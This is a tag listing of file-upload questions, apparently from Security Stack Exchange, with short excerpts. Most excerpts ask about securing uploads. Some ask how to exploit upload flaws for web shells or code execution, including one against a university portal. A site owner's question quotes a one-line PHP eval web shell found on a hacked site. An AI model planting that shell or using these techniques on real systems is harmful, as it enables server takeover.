Questions tagged [file-upload]
File upload means sending a file from a local system to a remote system such as a server or another client with the intent that the remote system should store a copy of the file being transferred.
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Is it possible that a website is built in such a way that when I upload a pdf to the website, something else in my folder will also be uploaded?
For example I am using the newest version of firefox and want to upload some pdf files to be merged into one at one of the website used to merge pdf. Would it be possible for the website to also ...
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Securing HTTP File Transfer over local network
My intention is to transfer files between a computer and a cell phone in the same network. I have created a system consisting of two apps for this purpose (everyone should be able to use the apps): ...
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Backdoor:PHP/Webshell.O virus detected in an uploaded image file. Should I be worried? How can I prevent it?
I have a site which allows users to upload images. One uploaded file was recently detected by antivirus software (uploads aren't scanned, this was a system wide scan after)
Upon upload, I check the ...
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How to handle mime types, file extension and magic number on file upload, renaming and file download?
I am writing a simple server for file uploading. I want to be able to rename uploaded files (including the file extension) and download files.
For validating the file to upload my plan was to check if ...
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How to properly use cURL --data-binary to send a request payload
This question is out of pure curiosity. I know I can send multipart formposts using curl's --form/-F option. However, I was curious to see if the same can be done with the --data-binary option? For ...
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Issue uploading a file with cURL to WebSecurityAcademy Lab on PortSwigger.com
I want to solve an apprentice-level lab on PortSwigger.com focused on file upload vulnerabilities; the lab is called Remote code execution via web shell upload. The labs on PortSwigger.com encourage ...
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The safest and fastest way to upload files in Docker Container
In a docker project of Asp.net Core MVC 6.0, users must upload files to wwwroot of the project but nothing checks to see if the file is safe or not.
I check file extensions with my file header library ...
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Does using Apache/nginx actually improve security of a webapp?
Let's say there is a webapp where users can upload files with sensitive data and view analytics generated by the backend. Does using a reverse proxy like nginx or Apache actually help with the ...
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Secure Serving of File Uploads on PHP Server without Root Config Possibilities? (Apache)
To secure the file uploads to a PHP/Apache server, I have already implemented the following steps:
Solid upload validation from PHP Framework
Used own names for uploaded files
Place uploaded files in ...
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Where is the file upload path on a webserver? [closed]
I'm currently testing file upload vulnerability. How should I identify the webserver's file upload path by analyzing or intercepting the POST traffic?
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LFI to RCE in java EE Application
I found vulnerable end-points in my university's old portal. It should not be accessible but I found it somehow.
-> First end-point allows me to upload any kind of file on following path : /home/...
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Security requirements to upload an excel file to a cloud blob storage
I want an authenticated user to upload an excel file to our web application. The Excel file will be parsed to generate structure.
Security is important, so we'll need to prove that we follow best ...
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Validate File Uploads in PHP: PDFs and images
We're trying to secure our upload forms in PHP regarding image uploads and PDF files. For this purpose, we're currently trying to do the following in all cases, according to our research done so far:
...
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Uploading webshell in ASP.net application using directory-traversal and file-upload vulnerability
On my target site, I found two vulnerabilities, unrestricted file upload(to any directory) and directory traversal. I have two end points :
1- site.com/fileUp : uploads file
{
----Request Parameters---...
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Does Burp Suite affect my request directly?
When I try to bypass the security configuration of Natas13 (http://natas13.natas.labs.overthewire.org/ A/P:natas13/lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9) while using Burp Suite Community Edition on ...
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Malware prevention of data received in a POST endpoint
Problem
Having one HTTPS api which has an endpoint i.e POST data how can we prevent/check that the data received is not malicious or possibly detrimental?
To consider (please read)
POST data receives ...
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Confirming File upload directory traversal without knowing upload path or being able to retrieve the uploaded file?
I am faced with a file upload functionality. We can upload docs and png's but cannot view them.
I have tested for several things so far and now would like to test for directory traversal via file name....
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Does user uploaded image file to HTML input form pose a risk?
I have a site where I need to get a logo from the user, they can click the input form and upload only .jpeg or .png files. After this the file will stay client side and be used to automatically create ...
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Protection against JPEG compression bombs
There is a well-known threat named compression bombs. Such image formats as PNG and JPEG use compression methods, and therefore and in theory PNG/JPEG images might be a compression-bomb.
I've found an ...
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What are the security concerns of embedding Base64-encoded images into an HTML document?
We are developing an MVC web-application in Django and having concerns about image uploading.
First of all, here are our business requirements:
Our users can upload images (like profile pictures, etc)...
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Choosing file types to test file upload vulnerabilities
While I was learning about file upload vulnerability one question came to my mind. What type of file do I use while hunting file upload vulnerability? Do I need to detect which programming language is ...
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File sharing with compromised Windows machine
I want to connect a known to be compromised Windows machine to the network for file sharing, it has lots of pirated software installed therefor not secure. Can it be isolated so that nothing can ...
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How to design a secure file storage/sharing platform
As the title implies, I would like to design a secure file storage/sharing platform. This is an abstract design question, so details regarding programing languages or platforms are not particularly ...
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Sending logs with bug reports: how to defend against easy exploits like malicious file enlargement?
When a crash occurs or when a user reports a bug, I'd like to send my application's logs to a cloud service (Firebase).
But I've just realised that there are tons of kindergarten level exploits. For ...
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Should I validate file types on server upload, and how?
I am trying to implement secure file uploads. I need to support various file types, including PDF, XLS, and XSL. I have implemented some basic controls, such as:
Store files outside the web root
...
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What's the point in blocking content upload by extension?
In a web application I manage, we have installed an option to let the users to upload files. The files are stored directly in the database. The security department of the company have requested us to ...
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Does an insecure ftp connection compromise all other data transfers?
I am not a technical person. My company recently asked me to install FileZilla to transfer files to and from a server in my company. So I installed FileZilla and typed in the credentials my company ...
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How to find out what payloads are being uploaded when I am running a scan of remote website?
I have been running an Acunetix vulnerability scan of a remote website (containing 50 subdomains). I am not doing anything else on this system.
However, my system is connected to a remote VPS via VPN, ...
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Possibility of arbitrary file upload where upload converted to png
Would a file upload function be vulnerable to code execution where the uploaded file is always converted to a PNG file by the application? For example, if one uploads shell.php and this file is ...
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TOCTOU (Time-of-check to time-of-use) possible without file system access?
I'm wondering if it's possible to exploit a TOCTOU vulnerability without having local access to file systems?
For example, in the context of a user uploading a file to a webserver, is this timing ...
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Uploading/writing server files via SSRF?
Say I've found a perfect SSRF vulnerability in a web application that lets me send web requests to any URL, any host, any port, any scheme. I can use the file:// scheme to get the contents of local ...
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Need guidance on detecting how a hacked file got upload on my website [duplicate]
On my website I found a file containing this code
<?php if(isset($_POST[z]))eval($_POST[z]);?>
It's my understanding that the hacker is using this to execute any PHP command send via a POST ...
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File Upload - scan in-memory or after saving
The web-application I'm working on will allow users to upload files (Word / PDF etc.). I intend to run a clamav scan on the files after upload before anything further is done with them.
From a ...
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Django File Validation
I' m building a REST API with Django and Django Rest Framework. I allow users to upload images and videos using different subclasses of ModelSerializer. When a file is received, the server saves it to ...
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Is there an encryption mechanism for binary data with expiration for rotating keys?
We have a web server with an application - there is a large data array attached to the application via a mount point. We have to fulfill the requirement of securing in-transit data and at-rest data. ...
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Amazon AWS S3 Unrestricted File Upload
While I was pentesting a web application, I found out that files that are uploaded to the web application are stored in an AWS S3 instance. Based on my experience, when a web application needs to ...
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How can I make sure an image uploaded to my server is not harmful? [duplicate]
I would like to allow users of my app to upload images in different formats that other users can view (including webm videos).
But I would also like to make sure that the images are actual images and ...
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NodeJS, unrestricted file upload, RCE [closed]
I'm testing on application which runs on NodeJS, and discovered unrestriced file upload vulnerability, path traversal is not possible.
Uploaded file is visitable, I can upload .html to perform XSS ...
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Unrestricted file write in Java
Would it be possible to write a file to a directory outside of the uploads folder if the $ext variable is used controlled and unrestricted? The uploads directory is empty except for the freshly ...
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Anonymous video uploading on an internet host
How much video uploading could be trackable for some person who uses the Tor Browser for uploading video on YouTube or other video hosting services with low authorization and sign-up processing, like ...
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Should I change the default folder for uploads?
PHP 7 uses the default system folder (/tmp) to store uploaded files.
PHP allows you to change the settings and change the upload destination directory. Some sites indicate to change this folder to ...
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Server Upload to presigned URL
I am writing a ReST service which enables user to get a tar archive of a set of requested documents. When the request succeeds, the service should upload the file to a pre-signed URL that points to an ...
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Is checking zip content on another PC enough to prevent data leak?
Let's say I have two kind of files on my Windows desktop - first are files that can be published and shared with other people, second kind is confidential and should remain private.
To share files I ...
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Path traversal in POST request?
Does it make sense to try path traversal on the filename value during a file upload request? Should I encode special characters in the POST request?
For example
POST
[...]
----boundary
Content-...
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Are there risks in user-uploaded .txt files sent as a string to PHP
I'm not sure if this question is within the scope of security.stackexchange or it would be more suitable on stackoverflow. Let me know if needed.
I'm wetting my feet in PHP, and I've put together a ...
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How do you check if someone faked the last modified date or not? [closed]
I think one of my students faked the modified date of his word file. He's last modified date was exactly the deadline of 13:00:00 (even the seconds are zero). How do i figure this out?? I want to know ...
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Cryptographic File Storage scheme
First of all,I am new to security as a whole and taking my first formal course on it.So sorry if any major errors are present.
I had a scheme for remote file storage as an attempt to use my course ...
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LFI php://input returning initial argument?
TLDR: Trying to execute commands on site thats got a LFI vuln.
So I am making my post request to my vulnerable site and
import requests
header = {
'User-Agent':'Mozilla/5.0 (Windows; U; ...
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Prevent Cross Site Scripting but still support HTML file upload
I have a web application where user can upload and view files. The user has a link next to the file (s)he has uploaded. Clicking on the link will open the file in the browser (if possible) or show the ...
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CVE-2017-15580: Getting code execution with upload
I'm testing a target with osTicket 1.7 for CVE-2017-15580. Instead of getting a shell, I'm trying to get the target to make an HTTP request to a temporary end-point.
My temporary end-point is https://...
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